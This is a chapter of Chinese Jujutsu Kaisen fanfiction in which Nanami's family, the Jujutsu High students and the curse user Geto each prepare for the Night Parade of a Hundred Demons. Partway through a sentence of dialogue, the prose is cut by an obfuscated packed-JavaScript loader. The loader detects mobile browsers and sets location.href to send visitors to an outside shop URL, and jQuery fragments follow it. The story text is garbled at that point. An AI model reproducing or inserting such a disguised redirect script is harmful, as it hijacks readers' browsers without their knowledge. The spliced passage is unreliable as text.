72.备战
作品:《恐怖世界今天也要快乐生活【咒回】》 十一月末。
七海穿戴整齐,站在厨房里煮咖啡。
悠抱着还迷迷糊糊的悠夏走出卧室。
小丫头趴在妈妈肩头,小手揉着眼睛,发出小猫似的呜咽声。
“吵醒你了?”七海关小火,走过来摸了摸女儿的头。
悠夏闻到爸爸身上的味道——干净的皂香混着一丝咖啡的苦涩——稍微清醒了些,伸出小手去抓七海系得一丝不苟的领带。
“她五点多就醒了,可能是新牙不舒服。”悠轻声说,把悠夏递给七海,“我给她泡奶,七海海你抱一下。”
七海接过悠夏。
小丫头到了爸爸怀里,立刻老实了——她知道在爸爸这里撒娇没用,只能眨着海蓝色的眼睛,好奇地戳爸爸的眼镜。
“今天要去高专吗?”悠一边往奶瓶里装温水一边问。
“嗯。总监部召开了紧急作战会议。”七海调整了一下抱姿,让悠夏靠得更舒服,“接下来一个月,我的所有常规任务都被暂停,转为待命状态。”
悠的手顿了顿:“这是……”
“大概是直到百鬼夜行结束前,我大部分时间都会在高专或者待命点。”七海的声音很平静,“但如果情况紧急,我随时可能被派遣。”
客厅里只有奶瓶里温水晃动的声音。
悠转过身,把奶瓶递给七海,看着他小心的动作:“我知道了。那你……要小心。”
“我会的。”七海接过奶瓶,熟练地试了试温度,然后喂给悠夏。
悠夏立刻抱住奶瓶,“咕咚咕咚”喝起来。
悠走到七海身边,轻轻靠在他肩上。
晨光里,三个人的影子在地板上重叠在一起。
“七海海,”她突然说,“昨晚我做了一个梦。”
“梦见什么?”
“梦见……一条很长的路。你走在前面,我在后面抱着悠夏。路两边有很多影子,但都过不来。”悠的声音很轻,“然后有一只很大的……手?也不像手,就是某种东西,从上面伸下来,把那些影子都拨开了。”
七海没有说话,只是用空着的那只手搂住妻子的肩。
“那个梦很真实。”悠抬起头,看着丈夫,“所以我觉得……也许真的会没事。”
七海推了推眼镜。
晨光在镜片上反射,看不清他的眼神。
“我也这么觉得。”他最终说,“因为有你和悠夏在等我回来。”
悠夏喝完了奶,满足地打了个小奶嗝,然后把空奶瓶推开,冲爸爸妈妈露出一个可爱的表情。
那颗新长的小白牙在晨光里闪闪发亮。
高专食堂。
大家围坐在角落的桌子旁,面前摆着早餐——但除了熊猫在认真吃饭,其他四个人都有些心不在焉。
“所以,”真希用叉子戳着盘子里的炒蛋,“七海先生今早来高专了,直接去了总监部的会议。”
顺平小口喝着味噌汤:“嗯,姨夫发消息说接下来一个月都会很忙。”
“鲑鱼子。”备战状态!
狗卷有点忧心。
乙骨安静地吃着饭,但握着筷子的手有些用力。
里香在他身后若隐若现,巨大的手掌轻轻搭在他椅背上。
熊猫吞下一大口米饭,然后压低声音说:“你们说……那个诅咒师夏油杰和悟……”
四双眼睛同时看向他。
“那天结束,我特意问了问正道和硝子,”熊猫比划着,“而且根本不像是敌人见面。更像……嗯……像两个好久不见的老朋友,虽然立场不同,但还是记得对方喜欢什么讨厌什么的那种感觉,所以挚友什么的是真的。”
真希皱眉:“但他称呼非术师为‘猴子’,还想要夺走忧太的里香。这种人……”
“我知道他很混蛋。”熊猫连忙说,“我的意思是,五条老师面对他时的态度……很复杂。你们注意到没?夏油杰说‘你看起来还是老样子’的时候,悟没有反驳,而且还说‘你倒是变了不少’。”
“木鱼花。”注意到了!
狗卷写下[而且夏油杰叫五条老师‘悟’,是名字不是姓氏,五条老师叫他杰?]
顺平小声补充:“所以他们以前是同期,关系肯定很好。就像……就像我们现在这样?”
食堂里安静了一瞬。
乙骨突然开口:“如果……如果有一天,我们中有一个人走上了完全不同的路,甚至成为了敌人……我们还会记得对方曾经是同伴吗?”
这个问题太沉重了。
没有人能立刻回答。
最后是真希打破沉默,她用筷子敲了敲盘子:“喂,别想那些没用的。现在最重要的是一个月后的百鬼夜行。吃完了就去训练场,今天的任务是对抗训练,我要把你们全打趴下。”
“诶——真希好可怕!”熊猫夸张地抱住头。
“木鱼花!”(加油!)狗卷欢呼。
顺平笑了:“淀月的结界今天肯定不会输!”
乙骨拍了拍顺平的胳膊:“那我也要更认真才行。”
气氛重新轻松起来。
但每个人心里都知道——那个问题,其实已经有了答案。
如果有一天,同伴成为了敌人……
他们一定会尽全力把对方拉回来。
如果拉不回来的话——
那就只能战斗了。
训练场上。
“淀月·结界展开!”
顺平双手结印,半透明的水母式神在空气中展开,淡蓝色的结界将五人笼罩。
与一个月前相比,结界的范围扩大了近一倍,颜色也更加凝实。
几乎在结界成型的瞬间,真希的长棍从侧方刺来——
砰!
棍尖撞在结界上,荡开一圈涟漪,但没有击穿。
“好!”真希收回长棍,“防御力提升了。但还不够——”
她身形一转,棍影如雨点般落下。
顺平转身一边维持真希的进攻,一躲避,维持着结界的稳定。
咒力在迅速减少,
三十秒、一分钟、一分半——
“鲑鱼!”现在!
狗卷拉下衣领:“停下!”
真希的动作瞬间僵住——虽然只有不到一秒,但足够了。
熊猫庞大的身躯从结界内冲出,一拳砸向地面,冲击波让真希后退了两步。
乙骨的刀在此时出鞘,刀光直取真希空门——
“不错!”
真希笑了,长棍回旋格挡,金属碰撞声清脆响起。
她借力后跳,落在训练场边缘。
“配合有进步。”她评价道,“顺平的结界能维持两分钟以上了,熊猫和狗卷的时机把握得很好,忧太的补刀也很果断。”
顺平解开术式,淀月化作光点消散。
他有点兴奋:“还、还差得远……如果是实战,两分钟根本不够……”
“所以才要继续练。”真希走过来,拍了拍他的肩,“不过说实话,你的进步速度已经很快了。刚来的时候,淀月的结界连三十秒都撑不住。”
“鲑鱼子。”顺平真的很努力!
狗卷和熊猫都搭在顺平肩上:“而且顺平超认真!晚上还偷偷加练对吧?我都看到了!”
顺平的脸红了:“因、因为不想拖大家后腿……”
乙骨轻声说:“顺平从没拖过后腿。你的结界救过我好几次。”
“忧太……”
“好啦好啦,感动时间结束!”熊猫突然想起什么,眼睛一亮,“顺平,有没有最近悠夏得近况啊?果然香香软软的小宝宝才是最治愈的!!”
话题瞬间转向轻松的方向。
顺平笑了:“哈哈哈,小姨拍照发给我看了,超可爱!小悠夏用那颗牙咬坏了一个牙胶玩具。”
“真的假的?才长出来就会留牙印了?”熊猫惊讶。
“木鱼花!”想看照片!
狗卷立刻举手。
顺平拿出手机,翻出悠发来的照片。
屏幕上,一个浅蓝色的牙胶玩具上,有几个小小的、清晰的牙印凹痕。
“哇——真的诶!”熊猫凑近看,“小悠夏好厉害!”
真希也看了一眼:“婴儿的牙齿其实很锋利。”
“呜哇,真希也有这样的过去嘛?”
“要你管!”
五个人说笑着走向场边休息。
一切看起来都很正常。
下午两点。
吉野凪盘腿坐在客厅地板上,面前摊开着一本基础入门手册——这是顺平从高专图书馆借出来的复印本。
“首先,感受自身的‘气息’……”凪按照书上的说明,闭上眼睛,尝试集中注意力。
她不是咒术师,没有咒力。
但顺平说过,结界术的基础原理是“划定领域”,普通人如果能掌握基础的“气息感知”,至少能在危险来临时有所察觉。
十分钟后,凪睁开眼睛,叹了口气。
“完全感觉不到啊……”
就在这时,门铃响了。是悠抱着悠夏站在门外。
“表姐,在忙吗?”
“没有没有,快进来。”吉野凪赶紧起身,“我在看顺平借给我的书……不过好像没什么天赋。”
悠走进来,把悠夏放在爬行垫上——这里也有顺平小时候用过的玩具。
小丫头到了新环境,好奇地四处张望。
“欸?凪姐,这是什么书?”悠看向地板上的手册。
“结界的基础。”吉野凪有点不好意思,“我想着学一点,万一……万一有什么事,至少能保护自己,不给你们添麻烦。”
悠安静地看着表姐。
她能看见凪身上那根“线”——淡金色的,很细,但正在慢慢变亮。
“表姐,”悠突然说,“你闭上眼睛,试着想象……这个房间是一个盒子。”
“盒子?”
“嗯。一个透明的、坚固的盒子。盒子外面是外面的世界,盒子里面是安全的空间。”悠的声音很平和,“不需要‘感觉’到什么,只需要这样想象。”
吉野凪半信半疑地闭上眼睛。
“现在想象盒子的墙壁……是温暖的。像阳光一样,照在身上很舒服。”
吉野凪努力想象着。
“然后想象有人轻轻敲了敲盒子的墙壁……咚咚。”
吉野凪的眉头微皱。
“你听到了吗?”悠问。
“……好像……真的听到了?”吉野凪不确定地说,“很轻的……咚咚声?”
悠笑了:“那就是了。表姐其实有天赋哦。”
吉野凪睁开眼睛,惊讶地看着悠:“真的?可顺平说我完全没有咒力……”
“结界的本质是‘心念的具现化’。”悠说,这些话她也不知道从哪里来的,就像自然而然浮现在脑海里,“咒力只是工具之一。坚定的意志、清晰的想象、对‘领域’的认知……这些才是核心。”
吉野凪愣了几秒,然后突然抱住悠:“谢谢你,悠!我突然有点信心了!”
“表姐一定可以的。”
爬行垫上,悠夏抓住了一个旧摇铃,用力摇晃。
“叮铃叮铃”的声音在客厅里回荡。
吉野凪看着小丫头,眼神温柔:“悠夏最近怎么样?还好吗?”
“嗯,就是爱咬东西。”悠无奈地笑,“昨天把最喜欢的牙胶咬出印子了,今天早上还想咬七海的眼镜腿。”
“小孩子都这样啦。顺平小时候也爱咬东西,我的好几条围巾都被他咬坏了。”
两个女人一边聊天一边看着孩子。
阳光从窗户照进来,把客厅烘得暖洋洋的。
吉野凪突然说:“悠,你不害怕吗?一个月后……”
悠沉默了一会儿。
“害怕。”她最终说,“但不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204712|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
害怕夏油杰或者百鬼夜行。是害怕……七海海会受伤,害怕悠夏会被波及,害怕这个好不容易建立起来的家,会被破坏。”
她顿了顿,声音很轻。
“但我相信七海海。也相信……有些东西,是无论如何也破坏不了的。”
吉野凪握住悠的手:“一定没事的。妹夫那么强,还有五条老师在,而且……”
她看向窗外。
“这栋楼,不是一直很安全吗?”
同日傍晚,东京某地下设施。
巨大的培养槽里,深色的液体中悬浮着无数咒胎。
它们缓慢蠕动,像未孵化的虫卵,表面布满血管般的纹路。
夏油杰站在观察窗前,紫色眼眸倒映着槽内诡异的光景。
“夏油大人,第一批已经培育完成。”美美子汇报,“按照您的吩咐,都是二级以上,具有群体行动特性。”
“反馈呢?”夏油杰没有回头。
“东京的恐慌指数在过去一周上升了百分之三十七。”菜菜子亮出平板上的数据,“气球事件造成的持续焦虑,加上政府的紧急事态宣言……负面情绪浓度已经达到临界点。这些咒灵出生后,强度预计会比常规高百分之五十以上。”
“很好。”夏油杰的嘴角勾起弧度,“悟那边有什么动作?”
“五条悟今天出席了总监部紧急会议,据说在制定百鬼夜行的应对策略。”美美子说,“咒术高专的训练强度加倍,所有学生进入备战状态。”
“七海呢?”
“七海建人暂停了所有常规任务,转为待命。他今天也参加了会议。”菜菜子顿了顿,“另外……阳光公寓的监视仍然无法进行。咒骸鸟靠近那栋楼三百米范围内就会失去信号,不是被破坏,是像被什么‘屏蔽’了。”
夏油杰终于转过身。
“有意思。”他轻声说,“七海家的结界……或者说,那栋楼本身,有问题。”
“需要进一步调查吗?”
“不用了。”夏油杰摆摆手,“现在不是分心的时候。百鬼夜行的准备才是重中之重。”
他走到墙边的日历前。11月26日。
距离12月24日,还有28天。
“继续培育第二批。”夏油杰说,“我要在百鬼夜行当天,放出至少五千只咒灵。让东京和京都……彻底变成地狱。”
“是!”
菜菜子和美美子退下后,夏油杰独自站在培养槽前。
深色的液体里,咒胎们缓缓脉动。那是恐惧、愤怒、绝望的结晶——这个丑陋世界的产物。
他会用这些产物,清洗这个世界。
然后,创造新的。
“悟,你一定会来阻止我吧。”夏油杰对着槽内的倒影自语,“那就来吧。让我们看看……到底谁的理念,才是正确的。”
液体表面,他的倒影扭曲、晃动。
像在笑,又或者……在哭。
晚上悠夏趴在爸爸腿上,专心致志地研究七海的眼镜。
小丫头已经放弃了咬眼镜腿——因为咬不动——转而用那颗新牙去磕镜片。
“不可以。”七海轻轻拿开眼镜,“这个很贵。”
“啊呜!”悠夏不满地伸手去够。
悠从厨房端出切好的水果:“七海海,让悠夏玩一下没关系的,反正你也该换眼镜了。”
“这副才用了三个月。”
“可是镜腿上已经有牙印了。”
七海拿起眼镜,果然在右镜腿内侧发现了几个小小的牙印凹痕——今早还没有。
他看向女儿。
小丫头无辜地眨着海蓝色的大眼睛,然后冲爸爸露出一个灿烂的笑容,那颗新牙闪闪发亮。
七海推了推眼镜——现在推的时候能感觉到牙印的凹凸——然后无奈地摇头。
悠笑了,把水果盘放在茶几上:“今天顺平发消息说,他们训练很顺利。表姐也在学结界术的基础,好像有点天赋。”
“凪姐很认真。”
“嗯。”悠坐到七海身边,轻轻靠在丈夫肩上,“大家都在努力……为了那天。”
客厅里安静下来。
电视开着,但音量调得很低,播着无关紧要的夜间节目。
悠夏玩累了,在爸爸腿上打了个哈欠,眼皮开始打架。
“七海海,”悠突然说,“如果……我是说如果,百鬼夜行那天,发生了什么……”
“不会有意外。”七海打断她,“我会回来。这是约定。”
悠抬起头,看着丈夫的侧脸。
灯光下,七海的轮廓坚毅而清晰,金发一丝不苟,眼镜后的眼神坚定无比。
“我知道。”她轻声说,“但我还是想告诉你——如果……如果真的有什么万一,我会保护好悠夏。无论如何都会。”
七海握住她的手。
“我相信你。”
两人静静坐着,看着腿上渐渐睡去的女儿。
小丫头的呼吸变得均匀,小手还抓着爸爸的衣角。
窗外,东京的夜景依然璀璨。
远处的天空中,已经很久没看到人头气球了——不是消失了,是夏油杰停止了测试。
因为真正的“表演”,一个月后才开始。
“七海海。”
“嗯?”
“等一切都结束了……”悠的声音很轻,“我们带悠夏去旅行吧。去海边,或者去山里。就我们三个人。”
“好。”
“然后每个月都去一次。”
“好。”
“每周都吃一次草莓大福。”
“好。”
悠笑了,眼角有点湿:“你怎么什么都答应。”
“因为是你提的。”七海说,声音里有罕见的温柔,“所以都会答应。”
悠夏在睡梦中咂了咂嘴,那颗新牙磕在下唇上,发出轻轻的“哒”声。
夫妻俩相视一笑。

